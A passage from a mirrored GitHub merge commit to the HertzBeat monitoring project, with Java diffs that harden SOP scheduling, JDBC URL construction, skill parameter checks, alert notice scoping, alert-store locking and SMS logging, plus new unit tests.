mirror of
https://github.com/dromara/hertzbeat.git
synced 2026-09-17 09:40:58 +00:00
Merge branch 'master' into fix/008-questdb-sql-injection
This commit is contained in:
@@ -30,6 +30,7 @@ import org.apache.hertzbeat.ai.sop.model.SopDefinition;
|
||||
import org.apache.hertzbeat.ai.sop.model.SopResult;
|
||||
import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
@@ -143,7 +144,7 @@ public class SopController {
|
||||
.status("FAILED")
|
||||
.error("SOP skill not found: " + skillName)
|
||||
.build();
|
||||
return ResponseEntity.notFound().build();
|
||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).body(errorResult);
|
||||
}
|
||||
|
||||
Map<String, Object> inputParams = params != null ? params : new HashMap<>();
|
||||
|
||||
+2
-3
@@ -105,9 +105,8 @@ public class SopScheduleExecutor {
|
||||
// Check if skill exists
|
||||
var definition = skillRegistry.getSkill(schedule.getSopName());
|
||||
if (definition == null) {
|
||||
log.warn("Skill {} not found, skipping schedule {}",
|
||||
schedule.getSopName(), schedule.getId());
|
||||
return;
|
||||
// Do not silently skip an invalid schedule because its execution time will still be advanced.
|
||||
throw new IllegalStateException("SOP skill not found: " + schedule.getSopName());
|
||||
}
|
||||
|
||||
// Parse parameters
|
||||
|
||||
+11
-4
@@ -148,10 +148,17 @@ public class SopScheduleServiceImpl implements SopScheduleService {
|
||||
private LocalDateTime calculateNextRunTime(String cronExpression) {
|
||||
try {
|
||||
CronExpression cron = CronExpression.parse(cronExpression);
|
||||
return cron.next(LocalDateTime.now());
|
||||
} catch (Exception e) {
|
||||
log.error("Failed to calculate next run time for cron: {}", cronExpression, e);
|
||||
return null;
|
||||
LocalDateTime nextRunTime = cron.next(LocalDateTime.now());
|
||||
if (nextRunTime == null) {
|
||||
// Expressions such as February 31 are syntactically valid but can never be triggered.
|
||||
throw new IllegalArgumentException(
|
||||
"Cron expression has no future execution time: " + cronExpression);
|
||||
}
|
||||
return nextRunTime;
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw e;
|
||||
} catch (RuntimeException e) {
|
||||
throw new IllegalArgumentException("Failed to calculate next run time: " + cronExpression, e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+16
-3
@@ -30,6 +30,9 @@ import org.apache.hertzbeat.ai.tools.DatabaseTools;
|
||||
import org.apache.hertzbeat.common.entity.manager.Monitor;
|
||||
import org.apache.hertzbeat.common.entity.manager.Param;
|
||||
import org.apache.hertzbeat.common.util.AesUtil;
|
||||
import org.apache.hertzbeat.common.util.CommonUtil;
|
||||
import org.apache.hertzbeat.common.util.IpDomainUtil;
|
||||
import org.apache.hertzbeat.common.util.JdbcUrlSafetyUtil;
|
||||
import org.apache.hertzbeat.manager.pojo.dto.MonitorDto;
|
||||
import org.apache.hertzbeat.manager.service.MonitorService;
|
||||
import org.springframework.ai.tool.annotation.Tool;
|
||||
@@ -240,11 +243,21 @@ public class DatabaseToolsImpl implements DatabaseTools {
|
||||
|
||||
private String buildJdbcUrl(String platform, String host, String port, String database) {
|
||||
String effectivePort = (port == null || port.isEmpty()) ? "3306" : port;
|
||||
String effectiveDb = (database == null || database.isEmpty()) ? "" : database;
|
||||
|
||||
return "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
|
||||
// host, port and database come from monitor parameters and are concatenated into the url,
|
||||
// so they must not carry url syntax of their own
|
||||
String effectiveDb = JdbcUrlSafetyUtil.requireSafeDatabaseName(database);
|
||||
if (!IpDomainUtil.validateIpDomain(host)) {
|
||||
throw new IllegalArgumentException("Invalid database host: " + host);
|
||||
}
|
||||
if (!CommonUtil.isNumeric(effectivePort)) {
|
||||
throw new IllegalArgumentException("Invalid database port: " + effectivePort);
|
||||
}
|
||||
|
||||
String url = "jdbc:mysql://" + host + ":" + effectivePort + "/" + effectiveDb
|
||||
+ "?useUnicode=true&characterEncoding=utf-8&useSSL=false"
|
||||
+ "&allowPublicKeyRetrieval=true&connectTimeout=5000";
|
||||
JdbcUrlSafetyUtil.requireSafeJdbcUrl(url);
|
||||
return url;
|
||||
}
|
||||
|
||||
private String executeAndFormat(String url, String username, String password,
|
||||
|
||||
@@ -125,12 +125,16 @@ public class SkillToolsImpl implements SkillTools {
|
||||
|
||||
// Parse parameters
|
||||
Map<String, Object> params = parseParams(paramsJson);
|
||||
if (params == null) {
|
||||
return "Error: Skill parameters must be a valid JSON object.";
|
||||
}
|
||||
|
||||
// Validate required parameters
|
||||
if (skill.getParameters() != null) {
|
||||
for (SopParameter paramDef : skill.getParameters()) {
|
||||
if (paramDef.isRequired()) {
|
||||
if (!params.containsKey(paramDef.getName()) || params.get(paramDef.getName()) == null) {
|
||||
Object value = params.get(paramDef.getName());
|
||||
if (value == null || value instanceof String text && text.isBlank()) {
|
||||
return "Error: Required parameter '" + paramDef.getName() + "' is missing. "
|
||||
+ "Description: " + paramDef.getDescription();
|
||||
}
|
||||
@@ -143,7 +147,9 @@ public class SkillToolsImpl implements SkillTools {
|
||||
SopResult result = sopEngine.executeSync(skill, params);
|
||||
|
||||
// Check output type
|
||||
if (result.getOutputType() == OutputType.REPORT) {
|
||||
if ("SUCCESS".equals(result.getStatus())
|
||||
&& result.getOutputType() == OutputType.REPORT
|
||||
&& result.getContent() != null) {
|
||||
// Report type: return with marker for direct display to user
|
||||
log.info("Skill {} returned report-type output, marking for direct display", skillName);
|
||||
return SKILL_REPORT_MARKER + "\n" + result.getContent();
|
||||
@@ -167,8 +173,8 @@ public class SkillToolsImpl implements SkillTools {
|
||||
try {
|
||||
return JsonUtil.fromJson(paramsJson, Map.class);
|
||||
} catch (Exception e) {
|
||||
log.warn("Failed to parse params JSON: {}, returning empty map", paramsJson);
|
||||
return new HashMap<>();
|
||||
log.warn("Failed to parse params JSON: {}", paramsJson);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.ai.controller;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import org.apache.hertzbeat.ai.sop.engine.SopEngine;
|
||||
import org.apache.hertzbeat.ai.sop.model.SopResult;
|
||||
import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
|
||||
/**
|
||||
* Verifies that synchronous SOP failures include a diagnostic response body.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class SopControllerTest {
|
||||
|
||||
@Mock
|
||||
private SkillRegistry skillRegistry;
|
||||
|
||||
@Mock
|
||||
private SopEngine sopEngine;
|
||||
|
||||
@InjectMocks
|
||||
private SopController controller;
|
||||
|
||||
@Test
|
||||
void executeSopSyncShouldReturnFailureBodyWhenSkillDoesNotExist() {
|
||||
when(skillRegistry.getSkill("missing")).thenReturn(null);
|
||||
|
||||
ResponseEntity<SopResult> response = controller.executeSopSync("missing", null);
|
||||
|
||||
assertEquals(HttpStatus.NOT_FOUND, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
assertEquals("FAILED", response.getBody().getStatus());
|
||||
assertEquals("SOP skill not found: missing", response.getBody().getError());
|
||||
}
|
||||
}
|
||||
+17
@@ -17,6 +17,7 @@
|
||||
|
||||
package org.apache.hertzbeat.ai.schedule;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyMap;
|
||||
import static org.mockito.Mockito.doThrow;
|
||||
@@ -37,6 +38,7 @@ import org.apache.hertzbeat.common.entity.ai.SopSchedule;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.ArgumentCaptor;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
|
||||
@@ -100,6 +102,21 @@ class SopScheduleExecutorTest {
|
||||
verify(scheduleService).updateAfterExecution(1L);
|
||||
}
|
||||
|
||||
@Test
|
||||
void checkShouldPushErrorWhenScheduledSkillNoLongerExists() {
|
||||
SopSchedule schedule = schedule(1L, null);
|
||||
when(scheduleService.getDueSchedules()).thenReturn(List.of(schedule));
|
||||
when(skillRegistry.getSkill("daily_inspection")).thenReturn(null);
|
||||
|
||||
executor.checkAndExecuteDueSchedules();
|
||||
|
||||
ArgumentCaptor<ChatMessage> messageCaptor = ArgumentCaptor.forClass(ChatMessage.class);
|
||||
verify(chatMessageDao).save(messageCaptor.capture());
|
||||
assertTrue(messageCaptor.getValue().getContent().contains("SOP skill not found: daily_inspection"));
|
||||
verifyNoInteractions(sopEngine);
|
||||
verify(scheduleService).updateAfterExecution(1L);
|
||||
}
|
||||
|
||||
private SopSchedule schedule(Long id, String params) {
|
||||
return SopSchedule.builder()
|
||||
.id(id)
|
||||
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.ai.service.impl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.Mockito.verifyNoInteractions;
|
||||
|
||||
import org.apache.hertzbeat.ai.dao.SopScheduleDao;
|
||||
import org.apache.hertzbeat.common.entity.ai.SopSchedule;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.InjectMocks;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
|
||||
/**
|
||||
* Verifies that SOP schedules with no future execution time are not persisted.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class SopScheduleServiceImplTest {
|
||||
|
||||
@Mock
|
||||
private SopScheduleDao sopScheduleDao;
|
||||
|
||||
@InjectMocks
|
||||
private SopScheduleServiceImpl scheduleService;
|
||||
|
||||
@Test
|
||||
void createScheduleShouldRejectCronWithoutFutureExecutionTime() {
|
||||
SopSchedule schedule = SopSchedule.builder()
|
||||
.conversationId(1L)
|
||||
.sopName("daily_inspection")
|
||||
.cronExpression("0 0 0 31 2 *")
|
||||
.build();
|
||||
|
||||
IllegalArgumentException exception = assertThrows(
|
||||
IllegalArgumentException.class, () -> scheduleService.createSchedule(schedule));
|
||||
|
||||
assertTrue(exception.getMessage().contains("no future execution time"));
|
||||
verifyNoInteractions(sopScheduleDao);
|
||||
}
|
||||
}
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
/*
|
||||
* Licensed to the Apache Software Foundation (ASF) under one or more
|
||||
* contributor license agreements. See the NOTICE file distributed with
|
||||
* this work for additional information regarding copyright ownership.
|
||||
* The ASF licenses this file to You under the Apache License, Version 2.0
|
||||
* (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
package org.apache.hertzbeat.ai.tools.impl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertFalse;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
import static org.mockito.Mockito.verifyNoInteractions;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
import java.util.List;
|
||||
import org.apache.hertzbeat.ai.sop.engine.SopEngine;
|
||||
import org.apache.hertzbeat.ai.sop.model.OutputType;
|
||||
import org.apache.hertzbeat.ai.sop.model.SopDefinition;
|
||||
import org.apache.hertzbeat.ai.sop.model.SopParameter;
|
||||
import org.apache.hertzbeat.ai.sop.model.SopResult;
|
||||
import org.apache.hertzbeat.ai.sop.registry.SkillRegistry;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.Mock;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
|
||||
/**
|
||||
* Verifies that skill parameter errors and report execution failures return accurate, identifiable results.
|
||||
*/
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class SkillToolsImplTest {
|
||||
|
||||
private static final String SKILL_NAME = "diagnose";
|
||||
|
||||
@Mock
|
||||
private SkillRegistry skillRegistry;
|
||||
|
||||
@Mock
|
||||
private SopEngine sopEngine;
|
||||
|
||||
private SkillToolsImpl skillTools;
|
||||
|
||||
@BeforeEach
|
||||
void setUp() {
|
||||
skillTools = new SkillToolsImpl(skillRegistry, sopEngine);
|
||||
}
|
||||
|
||||
@Test
|
||||
void executeSkillShouldRejectInvalidJsonObject() {
|
||||
when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill());
|
||||
|
||||
String response = skillTools.executeSkill(SKILL_NAME, "not-json");
|
||||
|
||||
assertEquals("Error: Skill parameters must be a valid JSON object.", response);
|
||||
verifyNoInteractions(sopEngine);
|
||||
}
|
||||
|
||||
@Test
|
||||
void executeSkillShouldRejectBlankRequiredParameter() {
|
||||
when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill());
|
||||
|
||||
String response = skillTools.executeSkill(SKILL_NAME, "{\"monitorId\":\" \"}");
|
||||
|
||||
assertTrue(response.contains("Required parameter 'monitorId' is missing"));
|
||||
verifyNoInteractions(sopEngine);
|
||||
}
|
||||
|
||||
@Test
|
||||
void executeSkillShouldNotMarkFailedReportForDirectDisplay() {
|
||||
SopDefinition skill = skill();
|
||||
SopResult failedResult = SopResult.builder()
|
||||
.sopName(SKILL_NAME)
|
||||
.status("FAILED")
|
||||
.outputType(OutputType.REPORT)
|
||||
.error("database unavailable")
|
||||
.build();
|
||||
when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill);
|
||||
when(sopEngine.executeSync(skill, java.util.Map.of("monitorId", 1))).thenReturn(failedResult);
|
||||
|
||||
String response = skillTools.executeSkill(SKILL_NAME, "{\"monitorId\":1}");
|
||||
|
||||
assertFalse(response.startsWith(SkillToolsImpl.SKILL_REPORT_MARKER));
|
||||
assertTrue(response.contains("database unavailable"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void executeSkillShouldMarkSuccessfulReportForDirectDisplay() {
|
||||
SopDefinition skill = skill();
|
||||
SopResult successResult = SopResult.builder()
|
||||
.status("SUCCESS")
|
||||
.outputType(OutputType.REPORT)
|
||||
.content("diagnostic report")
|
||||
.build();
|
||||
when(skillRegistry.getSkill(SKILL_NAME)).thenReturn(skill);
|
||||
when(sopEngine.executeSync(skill, java.util.Map.of("monitorId", 1))).thenReturn(successResult);
|
||||
|
||||
String response = skillTools.executeSkill(SKILL_NAME, "{\"monitorId\":1}");
|
||||
|
||||
assertEquals(SkillToolsImpl.SKILL_REPORT_MARKER + "\ndiagnostic report", response);
|
||||
}
|
||||
|
||||
private SopDefinition skill() {
|
||||
return SopDefinition.builder()
|
||||
.name(SKILL_NAME)
|
||||
.parameters(List.of(SopParameter.builder()
|
||||
.name("monitorId")
|
||||
.required(true)
|
||||
.description("Monitor ID")
|
||||
.build()))
|
||||
.build();
|
||||
}
|
||||
}
|
||||
+106
-1
@@ -18,10 +18,16 @@
|
||||
package org.apache.hertzbeat.alert.notice;
|
||||
|
||||
import com.google.common.collect.Maps;
|
||||
import java.time.LocalDateTime;
|
||||
import java.util.Collection;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Objects;
|
||||
import java.util.Optional;
|
||||
import java.util.concurrent.RejectedExecutionException;
|
||||
import java.util.function.Function;
|
||||
import java.util.stream.Collectors;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.apache.hertzbeat.alert.AlerterWorkerPool;
|
||||
import org.apache.hertzbeat.alert.config.AlertSseManager;
|
||||
@@ -29,7 +35,9 @@ import org.apache.hertzbeat.common.entity.alerter.GroupAlert;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeRule;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
|
||||
import org.apache.hertzbeat.common.entity.alerter.SingleAlert;
|
||||
import org.apache.hertzbeat.alert.service.NoticeConfigService;
|
||||
import org.apache.hertzbeat.common.constants.CommonConstants;
|
||||
import org.apache.hertzbeat.common.util.JsonUtil;
|
||||
import org.apache.hertzbeat.plugin.PostAlertPlugin;
|
||||
import org.apache.hertzbeat.plugin.Plugin;
|
||||
@@ -124,6 +132,7 @@ public class AlertNoticeDispatch {
|
||||
private void sendNotify(GroupAlert alert) {
|
||||
matchNoticeRulesByAlert(alert).ifPresent(noticeRules -> noticeRules.forEach(rule -> {
|
||||
NoticeTemplate noticeTemplate = getOneTemplateById(rule.getTemplateId());
|
||||
GroupAlert noticeAlert = scopeAlertToRule(alert, rule);
|
||||
rule.getReceiverId().forEach(receiverId -> {
|
||||
NoticeReceiver receiver = getOneReceiverById(receiverId);
|
||||
if (receiver == null || receiver.getType() == null) {
|
||||
@@ -133,7 +142,7 @@ public class AlertNoticeDispatch {
|
||||
try {
|
||||
workerPool.executeNotify(receiver.getType(), () -> {
|
||||
try {
|
||||
sendNoticeMsg(receiver, noticeTemplate, alert);
|
||||
sendNoticeMsg(receiver, noticeTemplate, noticeAlert);
|
||||
} catch (AlertNoticeException e) {
|
||||
log.warn("DispatchTask sendNoticeMsg error, message: {}", e.getMessage());
|
||||
}
|
||||
@@ -145,4 +154,100 @@ public class AlertNoticeDispatch {
|
||||
});
|
||||
}));
|
||||
}
|
||||
|
||||
private GroupAlert scopeAlertToRule(GroupAlert alert, NoticeRule rule) {
|
||||
if (rule.isFilterAll() || rule.getLabels() == null || rule.getLabels().isEmpty()
|
||||
|| alert.getAlerts() == null) {
|
||||
return alert;
|
||||
}
|
||||
List<SingleAlert> matchingAlerts = alert.getAlerts().stream()
|
||||
.filter(singleAlert -> singleAlert.getLabels() != null
|
||||
&& rule.getLabels().entrySet().stream().allMatch(label ->
|
||||
Objects.equals(label.getValue(), singleAlert.getLabels().get(label.getKey()))))
|
||||
.toList();
|
||||
Map<String, String> commonLabels = extractCommonAttributes(matchingAlerts, SingleAlert::getLabels);
|
||||
Map<String, String> commonAnnotations =
|
||||
extractCommonAttributes(matchingAlerts, SingleAlert::getAnnotations);
|
||||
Map<String, String> groupLabels = extractGroupLabels(alert.getGroupLabels(), commonLabels);
|
||||
String groupKey = Objects.equals(groupLabels, alert.getGroupLabels())
|
||||
? alert.getGroupKey() : generateGroupKey(groupLabels);
|
||||
return GroupAlert.builder()
|
||||
.id(alert.getId())
|
||||
.groupKey(groupKey)
|
||||
.status(determineGroupStatus(matchingAlerts))
|
||||
.groupLabels(groupLabels)
|
||||
.commonLabels(commonLabels)
|
||||
.commonAnnotations(commonAnnotations)
|
||||
.alertFingerprints(matchingAlerts.stream()
|
||||
.map(SingleAlert::getFingerprint)
|
||||
.filter(Objects::nonNull)
|
||||
.toList())
|
||||
.creator(alert.getCreator())
|
||||
.modifier(alert.getModifier())
|
||||
.gmtCreate(firstTime(matchingAlerts, SingleAlert::getGmtCreate, alert.getGmtCreate()))
|
||||
.gmtUpdate(lastTime(matchingAlerts, SingleAlert::getGmtUpdate, alert.getGmtUpdate()))
|
||||
.alerts(matchingAlerts)
|
||||
.build();
|
||||
}
|
||||
|
||||
private Map<String, String> extractCommonAttributes(
|
||||
Collection<SingleAlert> alerts,
|
||||
Function<SingleAlert, Map<String, String>> attributes) {
|
||||
if (alerts.isEmpty()) {
|
||||
return new HashMap<>(0);
|
||||
}
|
||||
Map<String, String> firstAttributes = attributes.apply(alerts.iterator().next());
|
||||
Map<String, String> common =
|
||||
firstAttributes == null ? new HashMap<>(0) : new HashMap<>(firstAttributes);
|
||||
for (SingleAlert alert : alerts) {
|
||||
Map<String, String> current = attributes.apply(alert);
|
||||
common.keySet().removeIf(key ->
|
||||
current == null || !current.containsKey(key)
|
||||
|| !Objects.equals(common.get(key), current.get(key)));
|
||||
}
|
||||
return common;
|
||||
}
|
||||
|
||||
private Map<String, String> extractGroupLabels(
|
||||
Map<String, String> originalGroupLabels,
|
||||
Map<String, String> commonLabels) {
|
||||
Map<String, String> groupLabels = new HashMap<>();
|
||||
if (originalGroupLabels != null) {
|
||||
originalGroupLabels.keySet().forEach(key -> {
|
||||
if (commonLabels.containsKey(key)) {
|
||||
groupLabels.put(key, commonLabels.get(key));
|
||||
}
|
||||
});
|
||||
}
|
||||
return groupLabels;
|
||||
}
|
||||
|
||||
private String generateGroupKey(Map<String, String> groupLabels) {
|
||||
return groupLabels.entrySet().stream()
|
||||
.sorted(Map.Entry.comparingByKey())
|
||||
.map(entry -> entry.getKey() + ":" + entry.getValue())
|
||||
.collect(Collectors.joining(","));
|
||||
}
|
||||
|
||||
private String determineGroupStatus(List<SingleAlert> alerts) {
|
||||
return alerts.stream().anyMatch(alert ->
|
||||
CommonConstants.ALERT_STATUS_FIRING.equals(alert.getStatus()))
|
||||
? CommonConstants.ALERT_STATUS_FIRING : CommonConstants.ALERT_STATUS_RESOLVED;
|
||||
}
|
||||
|
||||
private LocalDateTime firstTime(
|
||||
List<SingleAlert> alerts,
|
||||
Function<SingleAlert, LocalDateTime> time,
|
||||
LocalDateTime fallback) {
|
||||
return alerts.stream().map(time).filter(Objects::nonNull)
|
||||
.min(LocalDateTime::compareTo).orElse(fallback);
|
||||
}
|
||||
|
||||
private LocalDateTime lastTime(
|
||||
List<SingleAlert> alerts,
|
||||
Function<SingleAlert, LocalDateTime> time,
|
||||
LocalDateTime fallback) {
|
||||
return alerts.stream().map(time).filter(Objects::nonNull)
|
||||
.max(LocalDateTime::compareTo).orElse(fallback);
|
||||
}
|
||||
}
|
||||
|
||||
+18
-2
@@ -42,6 +42,10 @@ import org.springframework.stereotype.Component;
|
||||
@Slf4j
|
||||
final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
|
||||
|
||||
static final int LOCK_STRIPE_COUNT = 256;
|
||||
|
||||
private static final Object[] KEY_LOCKS = createKeyLocks();
|
||||
|
||||
private final GroupAlertDao groupAlertDao;
|
||||
|
||||
private final SingleAlertDao singleAlertDao;
|
||||
@@ -58,7 +62,7 @@ final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
|
||||
List<SingleAlert> newAlerts = new ArrayList<>();
|
||||
|
||||
for (SingleAlert singleAlert : originalAlerts) {
|
||||
synchronized (singleAlert.getFingerprint().intern()) {
|
||||
synchronized (lockFor(singleAlert.getFingerprint())) {
|
||||
SingleAlert existAlert = singleAlertDao.findByFingerprint(singleAlert.getFingerprint());
|
||||
if (existAlert != null) {
|
||||
// Update the existing alert with the ID and creation time from the database
|
||||
@@ -90,7 +94,7 @@ final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
|
||||
}
|
||||
groupAlert.setAlerts(newAlerts);
|
||||
// Find existing alert group
|
||||
synchronized (groupAlert.getGroupKey().intern()) {
|
||||
synchronized (lockFor(groupAlert.getGroupKey())) {
|
||||
GroupAlert existGroupAlert = groupAlertDao.findByGroupKey(groupAlert.getGroupKey());
|
||||
// Process resolved alerts
|
||||
if (existGroupAlert != null) {
|
||||
@@ -132,4 +136,16 @@ final class DbAlertStoreHandlerImpl implements AlertStoreHandler {
|
||||
return savedGroupAlert;
|
||||
}
|
||||
}
|
||||
|
||||
static Object lockFor(String key) {
|
||||
return KEY_LOCKS[Math.floorMod(key.hashCode(), LOCK_STRIPE_COUNT)];
|
||||
}
|
||||
|
||||
private static Object[] createKeyLocks() {
|
||||
Object[] locks = new Object[LOCK_STRIPE_COUNT];
|
||||
for (int index = 0; index < locks.length; index++) {
|
||||
locks[index] = new Object();
|
||||
}
|
||||
return locks;
|
||||
}
|
||||
}
|
||||
|
||||
+16
-14
@@ -26,18 +26,14 @@ import org.apache.hertzbeat.common.entity.alerter.NoticeReceiver;
|
||||
import org.apache.hertzbeat.common.entity.alerter.NoticeTemplate;
|
||||
import org.apache.hertzbeat.common.support.exception.SendMessageException;
|
||||
import org.apache.hertzbeat.common.util.JsonUtil;
|
||||
import org.apache.hertzbeat.common.util.LogUtil;
|
||||
import org.apache.http.client.methods.CloseableHttpResponse;
|
||||
import org.apache.http.client.methods.HttpPost;
|
||||
import org.apache.http.impl.client.CloseableHttpClient;
|
||||
import org.apache.http.impl.client.HttpClients;
|
||||
import org.apache.http.util.EntityUtils;
|
||||
import org.slf4j.Logger;
|
||||
import org.slf4j.LoggerFactory;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.Arrays;
|
||||
import java.util.Date;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
@@ -65,7 +61,6 @@ public class AlibabaSmsClientImpl implements SmsClient {
|
||||
private final String accessKeySecret;
|
||||
private final String signName;
|
||||
private final String templateCode;
|
||||
private static final Logger logger = LoggerFactory.getLogger(AlibabaSmsClientImpl.class);
|
||||
|
||||
public AlibabaSmsClientImpl(AlibabaSmsProperties config) {
|
||||
if (config != null) {
|
||||
@@ -154,31 +149,37 @@ public class AlibabaSmsClientImpl implements SmsClient {
|
||||
httpPost.setHeader("x-acs-content-sha256",
|
||||
CryptoUtils.sha256Hex(""));
|
||||
|
||||
log.info("Sending Alibaba SMS request to {}", url + ", params: " + templateParam + "headers: " + Arrays.toString(httpPost.getAllHeaders()));
|
||||
log.debug("Sending SMS request via Alibaba Cloud");
|
||||
|
||||
// Send request and handle response
|
||||
try (CloseableHttpResponse response = httpClient.execute(httpPost)) {
|
||||
int statusCode = response.getStatusLine().getStatusCode();
|
||||
String responseBody = EntityUtils.toString(response.getEntity());
|
||||
|
||||
log.info("SMS response status: {}, body: {}", statusCode, responseBody);
|
||||
log.debug("Alibaba Cloud SMS response status: {}", statusCode);
|
||||
|
||||
if (statusCode != 200) {
|
||||
throw new SendMessageException("HTTP request failed with status code: " + statusCode + ", response: " + responseBody);
|
||||
throw SmsFailureMessages.httpStatus("Alibaba Cloud SMS", statusCode);
|
||||
}
|
||||
|
||||
JsonNode jsonResponse = JsonUtil.fromJson(responseBody);
|
||||
if (jsonResponse == null || jsonResponse.get("Code") == null) {
|
||||
throw SmsFailureMessages.invalidResponse("Alibaba Cloud SMS");
|
||||
}
|
||||
String code = jsonResponse.get("Code").asText();
|
||||
if (!"OK".equals(code)) {
|
||||
String message = jsonResponse.get("Message").asText();
|
||||
throw new SendMessageException(code + ":" + message);
|
||||
throw SmsFailureMessages.providerCode("Alibaba Cloud SMS", code);
|
||||
}
|
||||
|
||||
log.info("Successfully sent SMS to phone: {}", phoneNumber);
|
||||
log.info("Successfully sent SMS via Alibaba Cloud");
|
||||
}
|
||||
} catch (SendMessageException e) {
|
||||
log.warn("Failed to send SMS via Alibaba Cloud");
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
LogUtil.warn(logger, "Failed to send SMS: {0}", e.getMessage());
|
||||
throw new SendMessageException(e.getMessage());
|
||||
log.warn("Failed to send SMS via Alibaba Cloud, failure type: {}",
|
||||
e.getClass().getSimpleName());
|
||||
throw SmsFailureMessages.requestFailed("Alibaba Cloud SMS");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -196,7 +197,8 @@ public class AlibabaSmsClientImpl implements SmsClient {
|
||||
// Step 4: Build authorization header
|
||||
